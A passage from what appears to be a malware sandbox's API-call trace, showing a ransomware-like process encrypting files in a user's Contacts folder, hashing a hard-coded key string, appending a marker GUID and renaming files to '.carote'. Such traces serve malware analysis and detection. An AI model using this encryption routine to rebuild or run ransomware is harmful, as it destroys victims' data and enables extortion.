(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.895] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.895] CloseHandle (hObject=0x61c) returned 1 [0111.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.896] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.carote")) returned 1 [0111.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.897] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.897] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.897] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0111.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0111.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0111.898] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0111.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0111.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0111.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.899] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1174) returned 1 [0111.899] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.900] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.900] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.902] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.902] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.902] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.902] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x496, lpOverlapped=0x0) returned 1 [0111.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.902] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0111.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.902] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.903] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.903] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.903] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.903] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.903] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.903] GetLastError () returned 0x0 [0111.903] SetLastError (dwErrCode=0x0) [0111.903] GetLastError () returned 0x0 [0111.903] SetLastError (dwErrCode=0x0) [0111.903] GetLastError () returned 0x0 [0111.903] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.904] GetLastError () returned 0x0 [0111.904] SetLastError (dwErrCode=0x0) [0111.904] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.905] SetLastError (dwErrCode=0x0) [0111.905] GetLastError () returned 0x0 [0111.906] SetLastError (dwErrCode=0x0) [0111.906] GetLastError () returned 0x0 [0111.906] SetLastError (dwErrCode=0x0) [0111.906] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.906] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.906] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.906] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4a0) returned 0x7b14c20 [0111.906] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.906] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14c20*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b14c20*, lpNumberOfBytesWritten=0x825fb24*=0x491, lpOverlapped=0x0) returned 1 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.906] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.906] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.906] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.906] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.906] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.906] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.907] CloseHandle (hObject=0x61c) returned 1 [0111.907] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.907] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.907] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.carote")) returned 1 [0111.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.908] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.909] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0111.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0111.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.909] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0111.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.910] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1172) returned 1 [0111.910] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.911] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.912] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.913] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.913] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x494, lpOverlapped=0x0) returned 1 [0111.913] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0111.913] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.913] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.913] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.914] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.914] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.914] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.914] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.914] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.914] SetLastError (dwErrCode=0x0) [0111.914] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.915] GetLastError () returned 0x0 [0111.915] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] GetLastError () returned 0x0 [0111.916] SetLastError (dwErrCode=0x0) [0111.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.916] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.916] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x490) returned 0x7b14c20 [0111.916] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.917] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14c20*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b14c20*, lpNumberOfBytesWritten=0x825fb24*=0x48f, lpOverlapped=0x0) returned 1 [0111.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.917] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.917] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.917] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.917] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.917] CloseHandle (hObject=0x61c) returned 1 [0111.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.918] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.carote")) returned 1 [0111.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.918] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.919] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0111.919] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0111.920] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0111.920] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap 